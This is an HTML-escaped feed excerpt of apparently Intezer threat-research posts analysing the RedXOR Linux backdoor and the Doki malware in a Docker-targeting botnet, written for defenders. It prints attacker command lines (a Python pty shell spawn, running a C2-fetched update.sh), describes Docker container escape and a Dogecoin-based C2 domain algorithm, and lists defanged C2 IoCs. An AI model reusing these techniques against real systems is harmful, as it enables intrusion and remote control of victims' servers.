&lt;td&gt;2058&lt;/td&gt;
&lt;td&gt;Remove file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2060&lt;/td&gt;
&lt;td&gt;Remove folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2061&lt;/td&gt;
&lt;td&gt;Rename&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2062&lt;/td&gt;
&lt;td&gt;Create new folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2066&lt;/td&gt;
&lt;td&gt;Write content to file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;td&gt;Start shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3058&lt;/td&gt;
&lt;td&gt;Exec shell command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3999&lt;/td&gt;
&lt;td&gt;Close tty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4001&lt;/td&gt;
&lt;td&gt;Portmap (Proxy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4002&lt;/td&gt;
&lt;td&gt;Kill portmap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;System Information&lt;span class="hx:absolute hx:-mt-20" id="system-information"&gt;&lt;/span&gt;
&lt;a href="#system-information" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the malware first contacts the C2 server it sends a password encoded in
the request body. The C2 server responds with the command code 0 to collect
system information. The data collected about the system by the malware is
listed in the table below. The data is serialized into a URL query-like string,
encrypted and then sent as the request body.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table 2: Data collected by the malware and sent back to the C2 server&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;hostip&lt;/td&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;Hardcoded to 127.0.0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;softtype&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Hardcoded to &amp;ldquo;Linux&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pscaddr&lt;/td&gt;
&lt;td&gt;MAC address&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostname&lt;/td&gt;
&lt;td&gt;Machine name&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hosttar&lt;/td&gt;
&lt;td&gt;Username&lt;/td&gt;
&lt;td&gt;Possibly &amp;ldquo;host target&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostos&lt;/td&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;Extracted from /etc/issue or /etc/redhat-release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostcpu&lt;/td&gt;
&lt;td&gt;Clock speed&lt;/td&gt;
&lt;td&gt;/proc/cpuinfo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostmem&lt;/td&gt;
&lt;td&gt;Amount of memory&lt;/td&gt;
&lt;td&gt;/proc/meminfo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostpack&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Hardcoded to &amp;ldquo;Linux&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lkmtag&lt;/td&gt;
&lt;td&gt;Is rootkit enabled&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kernel&lt;/td&gt;
&lt;td&gt;Kernel version&lt;/td&gt;
&lt;td&gt;Extracted from uname&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Figure 12 shows the communication between RedXOR and the C2. The malware sends
the password &lt;code&gt;pd=admin&lt;/code&gt; and C2 responds with &lt;code&gt;all right&lt;/code&gt; (&lt;code&gt;JSESSIONID=0000&lt;/code&gt;).
Next, the malware sends the system information and the C2 replies with the ping
command (&lt;code&gt;JSESSIONID=1000&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig12.png" title="Figure 12: RedXOR communication with C2" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: RedXOR communication with C2&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Update Functionality&lt;span class="hx:absolute hx:-mt-20" id="update-functionality"&gt;&lt;/span&gt;
&lt;a href="#update-functionality" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware can be updated by the threat actor. This is performed by sending
command code 8 to the malware. When the malware receives this code the
following actions are taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The malware opens the mutex file for writing.&lt;/li&gt;
&lt;li&gt;It sends a request with the command code 8 and an empty request body to the
C2 server.&lt;/li&gt;
&lt;li&gt;The response body from the server is written to the mutex file. The response
body is not encrypted.&lt;/li&gt;
&lt;li&gt;The lock is released on the mutex file.&lt;/li&gt;
&lt;li&gt;The malware executes &amp;ldquo;chmod&amp;rdquo; to set the execution flag on the file via the
libc system function.&lt;/li&gt;
&lt;li&gt;The malware sleeps and tries to obtain the lock on the file again when it
wakes up. If it fails, it assumes the update was successful, closes the
connection to the C2 server and exits.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Shell Functionality&lt;span class="hx:absolute hx:-mt-20" id="shell-functionality"&gt;&lt;/span&gt;
&lt;a href="#shell-functionality" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware has the ability to provide its operator with a &lt;code&gt;tty&lt;/code&gt; shell. If a
shell is requested via the command code 3000, the malware creates a new thread
executing &lt;code&gt;/bin/sh&lt;/code&gt;. In the new spawned shell, the malware executes
&lt;code&gt;python -c &amp;quot;import pty;pty.spawn('/bin/sh')&amp;quot;&lt;/code&gt; to get a pseudo-terminal (pty)
interface. Any shell commands sent to the malware with the command code of 3058
are executed in the pty and the response is returned to the operator.&lt;/p&gt;
&lt;h3&gt;Network Tunneling&lt;span class="hx:absolute hx:-mt-20" id="network-tunneling"&gt;&lt;/span&gt;
&lt;a href="#network-tunneling" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Network tunneling is enabled by sending the command code 4001 to the malware.
As part of the request, a &amp;ldquo;configuration&amp;rdquo; is sent as part of the response body.
The configuration consists of three items separated by a &amp;ldquo;#&amp;rdquo; character. The
items are: a port to bind to, the IP to connect to, and a port to connect to.
The malware uses a modified version of the open-source project Rinetd for the
tunneling logic. Rinetd is designed to use a configuration file stored on the
machine. To get around this, the malware author has modified the function that
parses the configuration in order to directly take the required values normally
found in the configuration file.&lt;/p&gt;
&lt;h2&gt;Wrap Up&lt;span class="hx:absolute hx:-mt-20" id="wrap-up"&gt;&lt;/span&gt;
&lt;a href="#wrap-up" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux systems are under constant attack given that Linux runs on most of the
public cloud workload. A
&lt;a href="https://secure2.sophos.com/en-us/content/state-of-cloud-security.aspx"target="_blank" rel="noopener"&gt;survey conducted by Sophos&lt;/a&gt;
found that 70% of organizations using the public cloud to host data or
workloads experienced a security incident in the past year. Along with botnets
and cryptominers, the Linux threat landscape is also home to sophisticated
threats like RedXOR developed by
&lt;a href="https://intezer.com/blog/malware-analysis/looking-back-on-the-last-decade-of-linux-apt-attacks/?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;nation-state actors&lt;/a&gt;.
RedXOR samples are indexed in Intezer Analyze so that you can detect any
suspicious file that shares code with this malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig14.png" title="Figure 13: RedXOR sample in Intezer Analyze" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: RedXOR sample in Intezer Analyze&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559f
0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update[.]cloudjscdn[.]com
158[.]247[.]208[.]230
34[.]92[.]228[].216&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Process name&lt;span class="hx:absolute hx:-mt-20" id="process-name"&gt;&lt;/span&gt;
&lt;a href="#process-name" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;po1kitd-update-k&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File and directories created on disk&lt;span class="hx:absolute hx:-mt-20" id="file-and-directories-created-on-disk"&gt;&lt;/span&gt;
&lt;a href="#file-and-directories-created-on-disk" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;.po1kitd-update-k
.po1kitd.thumb
.po1kitd-2a4D53
.po1kitd-k3i86dfv
.po1kitd-nrkSh7d6
.po1kitd-2sAq14
.2sAq14
.2a4D53
po1kitd.ko
po1kitd-update.desktop
S99po1kitd-update.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Watch Your Containers: Doki Infecting Docker Servers in the Cloud</title><link>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</link><pubDate>Tue, 28 Jul 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</guid><description>
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Ngrok Mining Botnet&lt;/a&gt;
is an active campaign targeting exposed Docker servers in AWS, Azure, and
other cloud platforms. It has been active for at least two years.&lt;/li&gt;
&lt;li&gt;We have detected a recent attack which includes a completely undetected Linux
malware and a previously undocumented technique, using a blockchain wallet
for generating C&amp;amp;C domain names.&lt;/li&gt;
&lt;li&gt;Anyone with publicly open Docker API access is at high risk to be hacked
within the span of just a few hours. This is probable due to the hackers'
automated and continuous internet-wide scanning for vulnerable victims.&lt;/li&gt;
&lt;li&gt;The new malware, dubbed &amp;ldquo;Doki&amp;rdquo;, hasn&amp;rsquo;t been detected by any of the 60 malware
detection engines in VirusTotal since it was first analyzed on January 14,
2020.&lt;/li&gt;
&lt;li&gt;The attacker is using the infected victims to search for additional
vulnerable cloud servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux threats are becoming more common. A contributing factor to this is the
increasing shift and reliance on cloud environments, which are mostly based on
Linux infrastructure. Hence, attackers have been adapting accordingly with new
tools and techniques designed specifically for this infrastructure.&lt;/p&gt;
&lt;p&gt;A technique that has become popular is the abuse of misconfigured Docker API
ports, where attackers scan for publicly accessible Docker servers and exploit
them in order to set up their own containers and execute malware on the
victim&amp;rsquo;s infrastructure.&lt;/p&gt;
&lt;p&gt;One of the longest ongoing attack campaigns exploiting Docker API ports is the
Ngrok Botnet, previously reported on by researchers at
&lt;a href="https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/"target="_blank" rel="noopener"&gt;Netlab&lt;/a&gt;
and
&lt;a href="https://blog.trendmicro.com/trendlabs-security-intelligence/exposed-docker-control-api-and-community-image-abused-to-deliver-cryptocurrency-mining-malware/"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;.
As part of the attack, the attackers abuse Docker configuration features in
order to elude standard container restrictions and execute various malicious
payloads from the host. They also deploy a network scanner and use it to scan
the cloud providers&amp;rsquo; IP ranges for additional potentially vulnerable targets.
Our evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;p&gt;Recently, we have detected a new malware payload that is different from the
standard cryptominers typically deployed in this attack. The malware is a fully
undetected backdoor which we have named Doki.&lt;/p&gt;
&lt;p&gt;Doki uses a previously undocumented method to contact its operator by abusing
the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically
generate its C2 domain address. The malware has managed to stay under the radar
for over six months despite samples being publicly available in VirusTotal.&lt;/p&gt;
&lt;p&gt;In this article we will cover the attack and provide a detailed analysis of the
techniques that were implemented by the undetected Doki backdoor.&lt;/p&gt;
&lt;h2&gt;The Attack&lt;span class="hx:absolute hx:-mt-20" id="the-attack"&gt;&lt;/span&gt;
&lt;a href="#the-attack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The threat is targeting misconfigured containerized environments in the cloud.
The attackers scan for publicly accessible Docker API ports and exploit them in
order to set up their own containers and execute malware on the victims'
infrastructure. The attackers are spawning and deleting a number of containers
during this attack.&lt;/p&gt;
&lt;p&gt;Each container that is created during the attack is based on an alpine image
with curl installed. The image is available on the
&lt;a href="https://hub.docker.com/r/byrnedo/alpine-curl/tags/"target="_blank" rel="noopener"&gt;Docker hub&lt;/a&gt;. The image is
not malicious but rather it&amp;rsquo;s being abused to carry out malicious activities.
By using an image that contains the curl software, curl commands are executed
as soon as the container is up and running.&lt;/p&gt;
&lt;p&gt;The advantage of using a publicly available image is the attacker doesn&amp;rsquo;t need
to hide it on Docker hub or other hosting solutions. Instead, the attackers can
use an existing image and run their own logic and malware on top of it.&lt;/p&gt;
&lt;p&gt;As mentioned above, attackers can create any container, however, to execute
code from the hosting machine they must use a container escape method. The
technique is based on the creation of a new container, accomplished by posting
a
‘&lt;a href="https://docs.docker.com/engine/api/v1.40/#operation/ContainerCreate"target="_blank" rel="noopener"&gt;create&lt;/a&gt;'
API request. The body of the request contains configuration parameters for the
container. One of the parameters is
&lt;a href="https://docs.docker.com/storage/bind-mounts/"target="_blank" rel="noopener"&gt;bind&lt;/a&gt; which lets the user
configure which file or directory on the host machine to mount into a
container.&lt;/p&gt;
&lt;p&gt;Containers that are created during the attack are configured to bind
&lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory to the root directory of the hosting server. This means
every file on the server&amp;rsquo;s filesystem can be accessed and even modified, with
the correct user permissions, from within the container.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ngrok.com/"target="_blank" rel="noopener"&gt;Ngrok&lt;/a&gt; is a service which provides secure tunnels to
connect between local servers and the public internet. The attacker abuses
Ngrok to craft unique URLs with a short lifetime and uses them to download
payloads during the attack by passing them to the curl based image. The
downloaded payload is saved in &lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory in the container.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig1.png" title="The command that created the container as seen on the syslog of the attacked server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The command that created the container as seen on the syslog of the attacked server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;By using the bind configuration the attacker can control the cron utility of
the host. The attacker modifies the host&amp;rsquo;s cron to execute the downloaded
payload every minute. We observed two types of payloads, one is a network
scanner script and the other is a downloader script.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The network scanner uses zmap, zgrap, and jq to scan ports associated with
Redis, Docker, SSH, and HTTP.&lt;/p&gt;
&lt;p&gt;Using a list of hardcoded ranges of IP addresses, which belong mostly to cloud
servers such as AWS and local cloud providers in foreign regions (we have seen
providers from China, Austria, and the United Kingdom), the script gathers the
information and uploads it to another Ngrok URL.&lt;/p&gt;
&lt;p&gt;The downloader script is responsible for downloading and installing various
malware binaries, often one of several well known cryptominers. We have noticed
it can also install a fully undetected malware component. We named this malware
Doki and will provide a technical analysis in the next section.&lt;/p&gt;
&lt;p&gt;The attacker has full control over the configuration of the container he
creates and the files that are dropped into the container. By using legitimate
API commands, the attacker is able to escape from the container he created and
execute any code from within the server itself.&lt;/p&gt;
&lt;h2&gt;The Doki Malware&lt;span class="hx:absolute hx:-mt-20" id="the-doki-malware"&gt;&lt;/span&gt;
&lt;a href="#the-doki-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Doki is a backdoor for Linux which function is to execute code received from
its operators. The malware utilizes the
&lt;a href="https://account.dyn.com/"target="_blank" rel="noopener"&gt;DynDNS service&lt;/a&gt; and a unique Domain Generation
Algorithm (DGA) based on the Dogecoin cryptocurrency blockchain in order to
find the domain of its C2 in real time.&lt;/p&gt;
&lt;p&gt;The malware is a fully undetected backdoor. It has managed to stay undetected
for over six months despite having
&lt;a href="https://www.virustotal.com/gui/file/4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b/detection"target="_blank" rel="noopener"&gt;been uploaded to VirusTotal&lt;/a&gt;
on January 14, 2020 and scanned multiple times since.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Doki is multi-threaded and uses the embedTLS library for cryptographic
functions and network communication. When executed, the malware will create a
seperate thread in order to handle all C2 communications.&lt;/p&gt;
&lt;p&gt;The malware starts by generating a C2 domain using its unique DGA. In order to
construct the C2 address the malware performs the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Query dogechain.info API, a Dogecoin cryptocurrency block explorer, for the
value that was sent out (spent) from a hardcoded wallet address that is
controlled by the attacker. The query format is:
&lt;code&gt;https://dogechain.info/api/v1/address/sent/{address}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Perform SHA256 on the value returned under &amp;ldquo;sent&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Save the first 12 characters from the hex-string representation of the SHA256
value, to be used as the subdomain.&lt;/li&gt;
&lt;li&gt;Construct the full address by appending the subdomain to ddns.net. An example
domain would be: &lt;code&gt;6d77335c4f23[.]ddns[.]net&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using this technique the attacker controls which address the malware will
contact by transferring a specific amount of Dogecoin from his or her wallet.
Since only the attacker has control over the wallet, only he can control when
and how much dogecoin to transfer, and thus switch the domain accordingly.
Additionally, since the blockchain is both immutable and decentralized, this
novel method can prove to be quite resilient to both infrastructure takedowns
from law enforcement and domain filtering attempts from security products.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that once the domain is generated, the malware ensures it&amp;rsquo;s
not &amp;ldquo;46927e019820&amp;rdquo;, which is what&amp;rsquo;s generated for &amp;ldquo;0.000000&amp;rdquo;, meaning when no
Dogecoin was ever transferred from the wallet. In the case that this domain is
generated, the malware will exit without continuing any further.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Otherwise, the malware continues to download a shell script by contacting its
C2 via HTTPS, using the URL &lt;code&gt;&amp;lt;c2_address&amp;gt;/update.sh&lt;/code&gt; and saving the returned
data as &lt;code&gt;/tmp/update.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It will then resolve the current process&amp;rsquo;s PID and path to be used as script
arguments, and proceeds to execute the script by running:
&lt;code&gt;/bin/sh -c ./update.sh &amp;lt;process_id&amp;gt; &amp;lt;process_path&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Meanwhile, the main thread of the malware reads from STDIN, expecting to
receive binary data from that shell script. The arguments are passed to the
script in order to allow it to communicate with the malware in this way and
receive code to execute.&lt;/p&gt;
&lt;p&gt;If data is received via STDIN, the malware saves it as a file under /tmp,
choosing its name randomly from a predefined list of Linux kernel modules.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;While it&amp;rsquo;s a very basic deception method, it&amp;rsquo;s not something commonly seen in
Linux malware, which often don&amp;rsquo;t bother disguising as system files.&lt;/p&gt;
&lt;p&gt;Finally, the malware proceeds to fork so the child process executes the file
and the main process loops to repeat the malware&amp;rsquo;s logic flow.&lt;/p&gt;
&lt;h2&gt;Bottom Line&lt;span class="hx:absolute hx:-mt-20" id="bottom-line"&gt;&lt;/span&gt;
&lt;a href="#bottom-line" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Ngrok Botnet campaign has been ongoing for over two years and is rather
effective, infecting any misconfigured Docker API server in a matter of hours.
The incorporation of the unique and undetected Doki malware indicates the
operation is continuing to evolve.&lt;/p&gt;
&lt;p&gt;This attack is very dangerous due to the fact the attacker uses container
escape techniques to gain full control of the victim&amp;rsquo;s infrastructure. Our
evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;h3&gt;Immediate Action Required by Container Server Owners&lt;span class="hx:absolute hx:-mt-20" id="immediate-action-required-by-container-server-owners"&gt;&lt;/span&gt;
&lt;a href="#immediate-action-required-by-container-server-owners" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both companies and individuals who own container servers in the cloud must
immediately fix configuration to prevent exposure. This includes: Checking for
any exposed ports, verifying there are no foregin or unknown containers among
the existing containers, and monitoring excessive use of resources.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We recommend you read our article,
&lt;a href="https://intezer.com/blog/best-practices-for-securing-a-docker-runtime-environment/?utm_campaign=research-blog&amp;amp;utm_content=watch-your-containers-doki-infecting-docker-servers-in-the-cloud&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Best Practices for Securing a Docker Runtime Environment&lt;/a&gt;.
You can also run our
&lt;a href="https://github.com/intezer/yara-rules/blob/master/Doki_Attack.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
on your cloud servers to check if you have been infected by this campaign.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
